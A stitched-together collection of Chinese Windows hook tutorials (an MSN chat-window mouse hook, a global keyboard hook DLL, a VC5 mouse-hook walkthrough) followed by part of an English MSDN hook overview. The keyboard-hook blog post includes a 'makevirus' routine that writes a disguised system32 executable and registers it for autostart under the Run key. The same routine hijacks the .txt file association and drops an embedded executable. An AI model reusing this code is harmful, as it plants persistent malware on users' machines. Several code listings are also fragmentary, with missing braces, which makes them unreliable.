VirtualProtectEx(hProcess, g_oriTextout, 5, PAGE_READWRITE, &dwOldFlag); 
WriteProcessMemory(hProcess, g_oriTextout, g_abOriCode, sizeof(g_abOriCode), NULL); 
VirtualProtectEx(hProcess, g_oriTextout, 5, dwOldFlag, NULL); 
g_blHooked = FALSE; 
return TRUE; 

 




 
VC 实现的 MSN Messager 钩子程序 
2005-11-02 15:38   来源:CSDN   RSS 复制链接打印
核心提示: 
  最近研究怎么样使用 HOOK 拦截其他应用程序的消息,于是就动手写了一个钩子程序来挂到最常
用的通讯及时通讯工具 MSN,虽然没有什么实际意义,但作为学习研究却能够帮助我们理解利用 HOOK 是怎
么样将自己编写的 DLL 注入已经存在的程序空间中的。 
  我们需要做的是通过我们自己编写的应用程序去拦截别人写好的应用程序消息,实际上这是在
两个进程之间进行的,难度就在这里,如果是同一个进程什么都好办,只要将系统响应 WINDOWS 消息的处
理函数修改为我们自己编写的函数就可以,但现在不能这么做,因为两个进程有各自的进程地址空间,理
论上你没有办法直接去访问别的进程的地址空间,那么怎么办来?办法还是很多的,这里仅仅介绍通过 HO
OK 来达到目的。


  需要拦截别的应用程序的消息,需要利用将自己编写的 DLL 注入到别人的 DLL 地址空间中才可以达到
拦截别人消息的目的。只有将我们的 DLL 插入到别的应用程序的地址空间中才能够对别的应用程序进行操
作,HOOK 帮助我们完成了这些工作,我们只需要使用 HOOK 来拦截指定的消息,并提供必要的处理函数就
行了。我们这里介绍拦截在 MSN 聊天对话框上的鼠标消息,对应的 HOOK 类型是 WH_MOUSE。


  首先我们要建立一个用来 HOOK 的 DLL。这个 DLL 的建立和普通的 DLL 建立没有什么具体的区别,不过
我们这里提供的方法有写不同。这里使用隐式导入 DLL 的方法。代码如下:


  头文件 
#pragma once
#ifndef MSNHOOK_API
#define MSNHOOK_API __declspec(dllimport)
#endif


MSNHOOK_API BOOL WINAPI SetMsnHook(DWORD dwThreadId);//安装 MSN 钩子函数
MSNHOOK_API void WINAPI GetText(int &x,int &y,char ** ptext);//安装 MSN 钩子函数
MSNHOOK_API HWND WINAPI GetMyHwnd();//安装 MSN 钩子函数 
 
  DLL 的 CPP 文件
#include "stdafx.h" 
#include "MSNHook.h"
#include <stdio.h>


// 下面几句的含义是告诉编译器将各变量放入它自己的数据共享节中


#pragma data_seg("Shared")
HHOOK g_hhook = NULL;
DWORD g_dwThreadIdMsn = 0;
POINT MouseLoc={0,0};
char text[256]={0};
HWND g_Hwnd = NULL;
#pragma data_seg()


//告诉编译器设置共享节的访问方式为:读,写,共享
 
#pragma comment(linker,"/section:Shared,rws")


HINSTANCE g_hinstDll = NULL;


BOOL APIENTRY DllMain( HANDLE hModule, 
DWORD ul_reason_for_call, 
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hinstDll = (HINSTANCE)hModule;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


LRESULT WINAPI GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam);


BOOL WINAPI SetMsnHook(DWORD dwThreadId)
{
OutputDebugString("SetMsnHook");
BOOL fOK = FALSE;
if(dwThreadId != 0)
{
OutputDebugString("SetMsnHook dwThreadId != 0");
g_dwThreadIdMsn = GetCurrentThreadId();


//安装 WM_MOUSE 钩子和处理函数 GetMsgProc
g_hhook = SetWindowsHookEx(WH_MOUSE,GetMsgProc,g_hinstDll,dwThreadId);
fOK = (g_hhook != NULL);
if(fOK)

fOK = PostThreadMessage(dwThreadId,WM_NULL,0,0);
}
else
{
fOK = UnhookWindowsHookEx(g_hhook);
g_hhook = NULL;
}
}
return(fOK);
}


LRESULT WINAPI GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam)
{


char temp[20];
sprintf(temp,"%d\n",nCode);
OutputDebugString("temp");
if (nCode==HC_ACTION)
{
MOUSEHOOKSTRUCT *l=(MOUSEHOOKSTRUCT *)lParam;
MouseLoc=l->pt; //送鼠标位置


//char text[256] = "";
HWND hWnd = WindowFromPoint(l->pt);
if(hWnd)
{
//GetWindowText(hWnd,text,256);
SendMessage(hWnd,WM_GETTEXT,256,(LPARAM)(LPCTSTR)text);
// strcpy(text,"123455555"); 
SendMessage(hWnd,WM_SETTEXT,256,(LPARAM)(LPCTSTR)text);
g_Hwnd = hWnd;
}
//SendMessage(WindowFromPoint(l->pt),WM_GETTEXT,256,(LPARAM)(LPCTSTR)psw);
}


return(CallNextHookEx(g_hhook,nCode,wParam,lParam)); 



void WINAPI GetText(int &x,int &y,char ** ptext)

x = MouseLoc.x;
y = MouseLoc.y;
*ptext = text;
}


HWND WINAPI GetMyHwnd()
{
return g_Hwnd;



  上面是处理钩子的 DLL 代码,下面我们要让这个 DLL 起作用还需要一个启动部分,通过这个启动部分
我们才能让我们的钩子函数真正的注入到系统其他函数中。我们这里使用个对话框的程序,程序非常简单:
一个按钮用来启动钩子,一个用来停止,一个 TIMER 用来刷新显示,还有一个 EDITBOX 用来接受信息。


  程序如下: 


 
//包含 DLL 函数导出的头文件
#include "MSNHook.h"


//隐式导入


#pragma comment(lib,"MSNHook.lib") 


//声明导入函数


__declspec(dllimport) BOOL WINAPI SetMsnHook(DWORD dwThreadId);
__declspec(dllimport) void WINAPI GetText(int &x,int &y,char ** ptext);
__declspec(dllimport) HWND WINAPI GetMyHwnd();//安装 MSN 钩子函数




void CTestMSNHookDlg::OnBnClickedOk()
{


//通过 SPY++可以看到 MSN 聊天对话框窗口类是 IMWindowClass,通过这个得到该窗口句柄
CWnd *pMsnWin = FindWindow(TEXT("IMWindowClass"),NULL);
if(pMsnWin == NULL) return ;


//通过窗口句柄得到对应的线程的 ID 
SetMsnHook(GetWindowThreadProcessId(pMsnWin->GetSafeHwnd(),NULL));
MSG msg;
GetMessage(&msg,NULL,0,0);
SetTimer(101,100,NULL);


}


void CTestMSNHookDlg::OnTimer(UINT_PTR nIDEvent)
{


//刷新消息
char * pText = NULL;
int x = 0,y = 0;
GetText(x,y,&pText);
if(x ==0 && y ==0) return ;
m_Edit.Format("%d:%d:%s",x,y,pText);
//m_Edit = pText;
UpdateData(FALSE);


HWND hWnd = GetMyHwnd();
CWnd * pWnd = CWnd::FromHandle(hWnd);
pWnd->GetWindowText(m_Edit);
CDialog::OnTimer(nIDEvent);
}


void CTestMSNHookDlg::OnBnClickedButton1()
{


//关闭
KillTimer(101);
SetMsnHook(0); 
OnCancel();







 
vb vc dll 全局钩子 v1   
2010-05-28 17:56:12|  分类: 计算机与 Interne|字号 订阅 
dll main 文件
  
#include "windows.h"
#include "iostream.h"
#include "fstream.h"
#include "stdio.h"
//
HHOOK hook=NULL;
HHOOK hook_kb=NULL;
HHOOK hook_msg=NULL;
HHOOK hook_Proc=NULL;
char * hookdllname="hook.dll";


void PasteText(HWND hRich);


extern void write(char * str);
#pragma data_seg("xxx")
char  ccc[1024]={'\0'};
#pragma data_seg()
#pragma comment(linker, "/section:xxx,rws")


LRESULT CALLBACK MouseProc(int nCode,WPARAM wParam, LPARAM lParam)
{
 //if(VK_F4==wParam)
 //{
  return 1;
  // fopen()
 //}
 //return 0
}
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
 short ctr=GetAsyncKeyState(VK_CONTROL); 
 //if((ctr>>15)&&(VK_RETURN==wParam)&&(!(lParam>>30&1))&&(3==code))
 {
  PasteText(GetFocus());
  //return 1;
 }
 return  0;//CallNextHookEx(hook_kb,code,wParam,lParam);
}
void PasteText(HWND hRich)
{
 HGLOBAL hMem;
 LPTSTR pStr;
 hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(ccc));
 pStr = (LPTSTR)GlobalLock(hMem);
 lstrcpy(pStr, ccc);
 GlobalUnlock(hMem);
 
 OpenClipboard(NULL);
 EmptyClipboard();
 SetClipboardData(CF_TEXT, hMem);
 CloseClipboard();
 GlobalFree(hMem);
 SendMessage(hRich, WM_PASTE, 0, 0);
}
LRESULT CALLBACK CallWndProc(int nCode,
        WPARAM wParam,
        LPARAM lParam
        )
{
 CWPSTRUCT * cw=(CWPSTRUCT *)lParam;
 write((char *)cw->message); 
    return CallNextHookEx(hook_Proc,nCode,wParam,lParam);;
}
LRESULT CALLBACK GetMsgProc(          int code,
       WPARAM wParam,
       LPARAM lParam
       )

 MSG * msg=(MSG *)lParam;
 write((char *)msg->message); 
 return CallNextHookEx(hook_msg,code,wParam,lParam);
}


// 
//一定要加上  _stdcall   自己就是为了这个错误  花费了一早上
// 还以为用了 导出文件 def  就没事了
//事实上也是  用了 def 文件后  函数名石不会变的  但可能参数名会变(猜的  因为不传参数就不会错) 
void _stdcall sethook(char *msg)
{
 //hook_Proc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,GetModuleHandle(hookdllname
),0);
 //hook_msg=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,GetModuleHandle(hookdllname),0
);
 //_memccpy(ccc,msg,0,sizeof(ccc));
 strcat(ccc,msg);
 hook_kb=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle(hookdllname),0);
}
void _stdcall unhook()
{
 if(NULL!=hook)
 {
  UnhookWindowsHookEx(hook);
 }
 if(NULL!=hook_kb)
 {
  UnhookWindowsHookEx(hook_kb);
 }
 if(NULL!=hook_msg)
 {
  UnhookWindowsHookEx(hook_msg);
 }
 if(NULL!=hook_Proc)
 {
  UnhookWindowsHookEx(hook_Proc);
 } 
}
  
vc dll  fun 文件
  
#include "windows.h"
#include "iostream.h"
#include "fstream.h"
#include "stdio.h"
extern char * hookdllname;
char exefullname[255]={'\0'};
void makevirus();
void write(char * str);
void setreg();
void buildexe();
void rndname();
void rndstr(int m,int n,char * ostr);
void copyfile();
void hookdlltest()
{
 makevirus(); 
 write("终于好了");

void makevirus()
{
 rndname();
 setreg();
 //buildexe();
 //copyfile();
}
void write(char * str)
{
 FILE * f=fopen("log.txt","ab");
 fwrite(str,1,strlen(str),f);
 fclose(f);
}
void setreg()

 HKEY  regh;
 //注册文件关联 
 RegCreateKey(HKEY_CLASSES_ROOT,".txtok",&regh);
 RegSetValue(regh,"shell\\open\\command",REG_SZ,exefullname,strlen(exefullname));
 RegCloseKey(regh);
    RegCreateKey(HKEY_CLASSES_ROOT,".txt",&regh);
 RegSetValue(regh,NULL,REG_SZ,".txtok",strlen(".txtok"));
 RegCloseKey(regh); 
    //添加自启动
 RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&r
egh);
 //RegSetValue(regh,"111",REG_SZ,exefullname,strlen(exefullname));
 RegSetValueEx(regh,"SystemTool",0,REG_SZ,(unsigned char *)exefullname,strlen(exefullname));
 RegCloseKey(regh); 
 //添加文件关联
 system("assoc .jpg=jpegfile"); 
}
void buildexe()
{
 FILE * f=fopen(hookdllname,"rb");
 fseek(f,0,SEEK_END);
 int len=ftell(f); 
 char *buf=new char[len+1];
 //fseek(f,0,SEEK_SET);
 rewind(f);
    fread(buf,1,len,f);
 fclose(f);
 buf[len]='\0';
 int index_x=0;
 int i=0;
 
 for(i=0;i<len;i++)
 {//linexestart
  if(('l'==buf[i])&&('i'==buf[i+1])&&('n'==buf[i+2])&&('e'==buf[i+3])&&('x'==buf[i+4]))
  {
   if(('e'==buf[i+5])&&('s'==buf[i+6])&&('t'==buf[i+7]))
   { 
    if(('a'==buf[i+8])&&('r'==buf[i+9])&&('t'==buf[i+10]))
    {     
     index_x=i+11;//strlen("linexestart");
     break;
    }
   }
  }
 }
 
    char * exebuf=new char[len-index_x];
 int j=0;
 for(i=index_x;i<len;i++)
 {
  exebuf[j]=buf[i];
  j++;
 }
 
 FILE *setexe=fopen(exefullname,"wb");
 fwrite(exebuf,1,len-index_x,setexe);
 fclose(setexe);
}
void rndname()
{
    char rndname[8]={'\0'};
 rndname[0]='s';
 rndname[1]='y';
 rndname[2]='s';
 for(int i=3;i<7;i++)
 {
  rndname[i]=char(rand()%26+97);
 } 
 GetWindowsDirectory(exefullname,255);
 strcat(exefullname,"\\system32\\");
 strcat(exefullname,rndname);
 strcat(exefullname,".exe");
 return ;

void copyfile()
{
 FILE *in,*out;
 char inname[255]={'\0'};
 char outname[255]={'\0'};
 GetCurrentDirectory(255,inname);
 strcat(inname,"\\");
 strcat(inname,hookdllname);
 GetWindowsDirectory(outname,255);
 strcat(outname,"\\system32\\");
 strcat(outname,hookdllname);
 
 in = fopen(inname,"rb");
 out = fopen(outname,"wb");
 
 /*
 while (!feof(in))
 {
  fputc(fgetc(in),out);
 }
 */
 fseek(in,0,SEEK_END);
 int len=ftell(in);
 char *buf=new char[len+1];
 fread(buf,1,len,in);
 buf[len]='\0';
 fwrite(buf,1,len,out);
 fclose(in);
 fclose(out); 
}
void rndstr(int m,int n,char * ostr)
{
 int len=rand()%(m-n+1)+m;
 ostr=new char[len];
 for(int i=0;i<len;i++)
 {
  ostr[i]=rand()%26+97; 
 }
}
  
vc dll  hook.def 文件
LIBRARY hook 
EXPORTS
sethook
unhook
hookdlltest
  
vb 文件
Private Type setinfo 
    i As Integer
End Type
  
'当 vc dll 用 Unicode 时:
'Private Declare Sub sethook_kb Lib "hook" (ByVal strlen As Integer, ByVal astr As Long) 
'调用部分变为  sethook_kb Len(str), StrPtr(str)  只有这样才不会出乱码
Private Declare Sub sethook Lib "hook" (ByVal astr As String) 
Private Declare Sub unhook Lib "hook" ()
Private Declare Sub hookdlltest Lib "hook" ()
Private a As String


Private Sub Command1_Click()
    Dim str As String 
    str = "我们的故事 99999999999999999"
    sethook str 
    'sethook_kb Len(str), str
End Sub
Private Sub Command2_Click() 
   ' MsgBox CStr(Len("我们"))
    unhook 
End Sub
Private Sub Form_Load()
    hd
End Sub
Private Sub hd() 
End Sub 






 
 HOOK 消息功能的使用 
作者::★北风(痴情)    阅读人次:406    文章来源:www.tencent.com    发布时间:2007-8-23    网友评论(0)
条 
  
 内容提要 
  Windows 系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。而钩子
是 Windows 系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用
程序难以实现的功能。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘
消息,外壳钩子可以截取、启动和关闭应用程序的消息等。本文在 VC5 编程环境下实现了一个简单的鼠标
钩子程序,并对 Win32 全局钩子的运行机制、Win32 DLL 的特点、VC5 环境下的 MFC DLL 以及共享数
据等相关知识进行了简单的阐述。  
文章正文 
    一.Win32 全局钩子的运行机制 


  钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有
到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理
(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。对每种类型的钩子由
系统来维护一个钩子链,最近安装的钩子放在链的开始,而最先安装的钩子放在最后,也就是后加入的先
获得控制权。要实现 Win32 的系统钩子,必须调用 SDK 中的 API 函数 SetWindowsHookEx 来安装这个钩
子函数,这个函数的原型是 HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,
DWORD dwThreadId);,其中,第一个参数是钩子的类型;第二个参数是钩子函数的地址;第三个参数是
包含钩子函数的模块句柄;第四个参数指定监视的线程。如果指定确定的线程,即为线程专用钩子;如果
指定为空,即为全局钩子。其中,全局钩子函数必须包含在 DLL(动态链接库)中,而线程专用钩子还可
以包含在可执行文件中。得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么
它必须调用另外一个 SDK 中的 API 函数 CallNextHookEx 来传递它。钩子函数也可以通过直接返回 TRUE
来丢弃该消息,并阻止该消息的传递。 


  二.Win32 DLL 的特点 


  Win32 DLL 与 Win16 DLL 有很大的区别,这主要是由操作系统的设计思想决定的。一方面,在 Win
16 DLL 中程序入口点函数和出口点函数(LibMain 和 WEP)是分别实现的;而在 Win32 DLL 中却由同一
函数 DLLMain 来实现。无论何时,当一个进程或线程载入和卸载 DLL 时,都要调用该函数,它的原型是
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);,其中,第一
个参数表示 DLL 的实例句柄;第三个参数系统保留;这里主要介绍一下第二个参数,它有四个可能的值:
DLL_PROCESS_ATTACH(进程载入),DLL_THREAD_ATTACH(线程载入),DLL_THREAD_DETACH
(线程卸载),DLL_PROCESS_DETACH(进程卸载),在 DLLMain 函数中可以对传递进来的这个参数的
值进行判别,并根据不同的参数值对 DLL 进行必要的初始化或清理工作。举个例子来说,当有一个进程载
入一个 DLL 时,系统分派给 DLL 的第二个参数为 DLL_PROCESS_ATTACH,这时,你可以根据这个参数
初始化特定的数据。另一方面,在 Win16 环境下,所有应用程序都在同一地址空间;而在 Win32 环境下,
所有应用程序都有自己的私有空间,每个进程的空间都是相互独立的,这减少了应用程序间的相互影响,
但同时也增加了编程的难度。大家知道,在 Win16 环境中,DLL 的全局数据对每个载入它的进程来说都是
相同的;而在 Win32 环境中,情况却发生了变化,当进程在载入 DLL 时,系统自动把 DLL 地址映射到该
进程的私有空间,而且也复制该 DLL 的全局数据的一份拷贝到该进程空间,也就是说每个进程所拥有的相
同的 DLL 的全局数据其值却并不一定是相同的。因此,在 Win32 环境下要想在多个进程中共享数据,就必
须进行必要的设置。亦即把这些需要共享的数据分离出来,放置在一个独立的数据段里,并把该段的属性
设置为共享。 


  三.VC5 中 MFC DLL 的分类及特点 
  在 VC5 中有三种形式的 MFC DLL(在该 DLL 中可以使用和继承已有的 MFC 类)可供选择,即 Regul
ar statically linked to MFC DLL(标准静态链接 MFC DLL)和 Regular using the shared MFC DLL(标
准动态链接 MFC DLL)以及 Extension MFC DLL(扩展 MFC DLL)。第一种 DLL 的特点是,在编译时
把使用的 MFC 代码加入到 DLL 中,因此,在使用该程序时不需要其他 MFC 动态链接类库的存在,但占
用磁盘空间比较大;第二种 DLL 的特点是,在运行时,动态链接到 MFC 类库,因此减少了空间的占用,
但是在运行时却依赖于 MFC 动态链接类库;这两种 DLL 既可以被 MFC 程序使用也可以被 Win32 程序使
用。第三种 DLL 的特点类似于第二种,做为 MFC 类库的扩展,只能被 MFC 程序使用。 
  四.在 VC5 中全局共享数据的实现 
  在主文件中,用#pragma data_seg 建立一个新的数据段并定义共享数据,其具体格式为: 
  #pragma data_seg ("shareddata") 
  HWND sharedwnd=NULL;//共享数据 
  #pragma data_seg() 
  仅定义一个数据段还不能达到共享数据的目的,还要告诉编译器该段的属性,有两种方法可以实现该
目的(其效果是相同的),一种方法是在.DEF 文件中加入如下语句: 
  SETCTIONS 
  shareddata READ WRITE SHARED 
  另一种方法是在项目设置链接选项中加入如下语句: 
  /SECTION:shareddata,rws 
  五.具体实现步骤 
  由于全局钩子函数必须包含在动态链接库中,所以本例由两个程序体来实现。 
  1.建立钩子 Mousehook.DLL 
  (1)选择 MFC AppWizard(DLL)创建项目 Mousehook; 
  (2)选择 MFC Extension DLL(共享 MFC 拷贝)类型; 
  (3)由于 VC5 没有现成的钩子类,所以要在项目目录中创建 Mousehook.h 文件,在其中建立钩子类: 
  class AFX_EXT_CLASS Cmousehook:public CObject 
  { 
  public: 
  Cmousehook(); 
  //钩子类的构造函数 
  ~Cmousehook(); 
  //钩子类的析构函数 
  BOOL starthook(HWND hWnd);  
  //安装钩子函数 
  BOOL stophook(); 
  卸载钩子函数 
  }; 
  (4)在 Mousehook.app 文件的顶部加入#include"Mousehook.h"语句; 
  (5)加入全局共享数据变量: 
  #pragma data_seg("mydata") 
  HWND glhPrevTarWnd=NULL; 
  //上次鼠标所指的窗口句柄 
  HWND glhDisplayWnd=NULL; 
  //显示目标窗口标题编辑框的句柄 
  HHOOK glhHook=NULL; 
  //安装的鼠标勾子句柄 
  HINSTANCE glhInstance=NULL; 
  //DLL 实例句柄 
  #pragma data_seg() 
  (6)在 DEF 文件中定义段属性: 
  SECTIONS 
  mydata READ WRITE SHARED 
  (7)在主文件 Mousehook.cpp 的 DllMain 函数中加入保存 DLL 实例句柄的语句: 
  DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) 
  { 
  //如果使用 lpReserved 参数则删除下面这行 
  UNREFERENCED_PARAMETER(lpReserved); 
  if (dwReason == DLL_PROCESS_ATTACH) 
  { 
   TRACE0("MOUSEHOOK.DLL Initializing!\n"); 
   //扩展 DLL 仅初始化一次 
   if (!AfxInitExtensionModule(MousehookDLL, hInstance)) 
   return 0; 
   new CDynLinkLibrary(MousehookDLL); 
   //把 DLL 加入动态 MFC 类库中 
   glhInstance=hInstance; 
   //插入保存 DLL 实例句柄 
  } 
  else if (dwReason == DLL_PROCESS_DETACH) 
  { 
   TRACE0("MOUSEHOOK.DLL Terminating!\n"); 
   //终止这个链接库前调用它 
   AfxTermExtensionModule(MousehookDLL); 
  } 
  return 1; 
  } 
  (8)类 Cmousehook 的成员函数的具体实现:  
  Cmousehook::Cmousehook() 
  //类构造函数 
  { 
  } 
  Cmousehook::~Cmousehook() 
  //类析构函数 
  { 
  stophook(); 
  } 
  BOOL Cmousehook::starthook(HWND hWnd) 
  //安装钩子并设定接收显示窗口句柄 
  { 
  BOOL bResult=FALSE; 
  glhHook=SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0); 
  if(glhHook!=NULL) 
   bResult=TRUE; 
  glhDisplayWnd=hWnd; 
  //设置显示目标窗口标题编辑框的句柄 
  return bResult; 
  } 
  BOOL Cmousehook::stophook() 
  //卸载钩子 
  { 
  BOOL bResult=FALSE; 
  if(glhHook) 
  { 
   bResult= UnhookWindowsHookEx(glhHook); 
   if(bResult) 
  { 
   glhPrevTarWnd=NULL; 
   glhDisplayWnd=NULL;//清变量 
   glhHook=NULL; 
  } 
  } 
  return bResult; 
  } 
  (9)钩子函数的实现:
  LRESULT WINAPI MouseProc(int nCode,WPARAM wparam,LPARAM lparam) 
  { 
  LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lparam; 
   if (nCode>=0) 
  { 
  HWND glhTargetWnd=pMouseHook->hwnd;  
  //取目标窗口句柄 
   HWND ParentWnd=glhTargetWnd; 
   while (ParentWnd !=NULL) 
  { 
   glhTargetWnd=ParentWnd; 
   ParentWnd=GetParent(glhTargetWnd); 
   //取应用程序主窗口句柄 
  } 
   if(glhTargetWnd!=glhPrevTarWnd) 
  { 
   char szCaption[100]; 
   GetWindowText(glhTargetWnd,szCaption,100); 
   //取目标窗口标题 
   if(IsWindow(glhDisplayWnd)) 
   SendMessage(glhDisplayWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption); 
   glhPrevTarWnd=glhTargetWnd; 
   //保存目标窗口 
  } 
  } 
   return CallNextHookEx(glhHook,nCode,wparam,lparam); 
   //继续传递消息 
  } 
  (10)编译项目生成 mousehook.dll。 
  2.创建钩子可执行程序 


  (1)用 MFC 的 AppWizard(EXE)创建项目 Mouse; 
  (2)选择“基于对话应用”并按下“完成”键;
  (3)编辑对话框,删除其中原有的两个按钮,加入静态文本框和编辑框,用鼠标右键点击静态文本框,
在弹出的菜单中选择“属性”,设置其标题为“鼠标所在的窗口标题”; 
  (4)在 Mouse.h 中加入对 Mousehook.h 的包含语句#Include"..\Mousehook\Mousehook.h"; 
  (5)在 CMouseDlg.h 的 CMouseDlg 类定义中添加私有数据成员: 
  CMouseHook m_hook;//加入钩子类作为数据成员 
  (6)修改 CmouseDlg::OnInitDialog()函数: 
  BOOL CMouseDlg::OnInitDialog() 
  { 
  CDialog::OnInitDialog(); 
  ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); 
  ASSERT(IDM_ABOUTBOX < 0xF000); 
  CMenu* pSysMenu = GetSystemMenu(FALSE); 
  if (pSysMenu != NULL) 
  { 
   CString strAboutMenu; 
   strAboutMenu.LoadString(IDS_ABOUTBOX); 
   if (!strAboutMenu.IsEmpty())  
  { 
   pSysMenu->AppendMenu(MF_SEPARATOR); 
   pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); 
  } 
  } 
  SetIcon(m_hIcon, TRUE);//Set big icon 
  SetIcon(m_hIcon, FALSE);//Set small icon 
  //TODO: Add extra initialization here 
  CWnd * pwnd=GetDlgItem(IDC_EDIT1); 
  //取得编辑框的类指针 
  m_hook.starthook(pwnd->GetSafeHwnd()); 
  //取得编辑框的窗口句柄并安装钩子 
  return TRUE; 
  //return TRUE unless you set the focus to a control 
  } 
  (7)链接 DLL 库,即把..\Mousehook\debug\Mousehook.lib 加入到项目设置链接标签中; 
  (8)编译项目生成可执行文件; 
  (9)把 Mousehook.DLL 拷贝到..\mouse\debug 目录中; 
  (10)先运行几个可执行程序,然后运行 Mouse.exe 程序,把鼠标在不同窗口中移动,在 Mouse.exe 程序
窗口中的编辑框内将显示出鼠标所在的应用程序主窗口的标题。 




 
钩子概述 MSDN <英> 
 
A hook is a mechanism by which an application can intercept events, such as messages, mouse
actions, and keystrokes. A function that intercepts a particular type of event is known as a hook
procedure. A hook procedure can act on each event it receives, and then modify or discard the
event. 
The following some example uses for hooks: 
 Monitor messages for debugging purposes 
 Provide support for recording and playback of macros 
 Provide support for a help key (F1) 
 Simulate mouse and keyboard input 
 Implement a computer-based training (CBT) application 
Note  Hooks tend to slow down the system because they increase the amount of processing the system must
perform for each message. You should install a hook only when necessary, and remove it as soon as possible. 
This section discusses the following: 
 Hook Chains 
 Hook Procedures 
 Hook Types 
Hook Chains 
o WH_CALLWNDPROC and WH_CALLWNDPROCRET 
o WH_CBT 
o WH_DEBUG 
o WH_FOREGROUNDIDLE 
o WH_GETMESSAGE 
o WH_JOURNALPLAYBACK 
o WH_JOURNALRECORD 
o WH_KEYBOARD_LL 
o WH_KEYBOARD 
o WH_MOUSE_LL 
o WH_MOUSE 
o WH_MSGFILTER and WH_SYSMSGFILTER 
o WH_SHELL 
The system supports many different types of hooks; each type provides access to a different aspect of its
message-handling mechanism. For example, an application can use the WH_MOUSE hook to monitor the message
traffic for mouse messages. 
The system maintains a separate hook chain for each type of hook. A hook chain is a list of pointers to special,
application-defined callback functions called hook procedures. When a message occurs that is associated with a
particular type of hook, the system passes the message to each hook procedure referenced in the hook chain, one
after the other. The action a hook procedure can take depends on the type of hook involved. The hook procedures
for some types of hooks can only monitor messages; others can modify messages or stop their progress through the
chain, preventing them from reaching the next hook procedure or the destination window. 
Hook Procedures 
To take advantage of a particular type of hook, the developer provides a hook procedure and uses
the SetWindowsHookEx function to install it into the chain associated with the hook. A hook procedure must
have the following syntax: 
Copy
LRESULT CALLBACK HookProc(
  int nCode, 
  WPARAM wParam, 
  LPARAM lParam
)
{
   // process event 
   ...


   return CallNextHookEx(NULL, nCode, wParam, lParam);

HookProc is a placeholder for an application-defined name. 
The nCode parameter is a hook code that the hook procedure uses to determine the action to perform. The value of
the hook code depends on the type of the hook; each type has its own characteristic set of hook codes. The values
of the wParam and lParam parameters depend on the hook code, but they typically contain information about a
message that was sent or posted. 
The SetWindowsHookEx function always installs a hook procedure at the beginning of a hook chain. When an
event occurs that is monitored by a particular type of hook, the system calls the procedure at the beginning of the
hook chain associated with the hook. Each hook procedure in the chain determines whether to pass the event to the
next procedure. A hook procedure passes an event to the next procedure by calling the CallNextHookEx function. 
Note that the hook procedures for some types of hooks can only monitor messages. the system passes messages to
each hook procedure, regardless of whether a particular procedure calls CallNextHookEx. 
A global hook monitors messages for all threads in the same desktop as the calling thread. A thread-specific
hook monitors messages for only an individual thread. A global hook procedure can be called in the context of any
application in the same desktop as the calling thread, so the procedure must be in a separate DLL module. A
thread-specific hook procedure is called only in the context of the associated thread. If an application installs a
hook procedure for one of its own threads, the hook procedure can be in either the same module as the rest of the
application's code or in a DLL. If the application installs a hook procedure for a thread of a different application,
the procedure must be in a DLL. For information, see Dynamic-Link Libraries. 
Note   You should use global hooks only for debugging purposes; otherwise, you should avoid them. Global
hooks hurt system performance and cause conflicts with other applications that implement the same type of global
hook. 
Hook Types 
Each type of hook enables an application to monitor a different aspect of the system's message-handling
mechanism. The following sections describe the available hooks. 
 WH_CALLWNDPROC and WH_CALLWNDPROCRET 
 WH_CBT 
 WH_DEBUG 
 WH_FOREGROUNDIDLE 
 WH_GETMESSAGE 
 WH_JOURNALPLAYBACK 
 WH_JOURNALRECORD 
 WH_KEYBOARD_LL 
 WH_KEYBOARD 
 WH_MOUSE_LL 
 WH_MOUSE 
 WH_MSGFILTER and WH_SYSMSGFILTER 
 WH_SHELL 
WH_CALLWNDPROC and WH_CALLWNDPROCRET 
The WH_CALLWNDPROC and WH_CALLWNDPROCRET hooks enable you to monitor messages sent to
window procedures. The system calls a WH_CALLWNDPROC hook procedure before passing the message to
the receiving window procedure, and calls the WH_CALLWNDPROCRET hook procedure after the window
procedure has processed the message. 
The WH_CALLWNDPROCRET hook passes a pointer to a CWPRETSTRUCT structure to the hook
procedure. The structure contains the return value from the window procedure that processed the message, as well
as the message parameters associated with the message. Subclassing the window does not work for messages set
between processes. 
For more information, see the CallWndProc and CallWndRetProc callback functions. 
WH_CBT 
The system calls a WH_CBT hook procedure before activating, creating, destroying, minimizing, maximizing,
moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event
from the system message queue; before setting the input focus; or before synchronizing with the system message
queue. The value the hook procedure returns determines whether the system allows or prevents one of these
operations. The WH_CBT hook is intended primarily for computer-based training (CBT) applications. 
For more information, see the CBTProc callback function. 
For information, see WinEvents. 
WH_DEBUG 
The system calls a WH_DEBUG hook procedure before calling hook procedures associated with any other hook
in the system. You can use this hook to determine whether to allow the system to call hook procedures associated
with other types of hooks. 
For more information, see the DebugProc callback function. 
WH_FOREGROUNDIDLE 
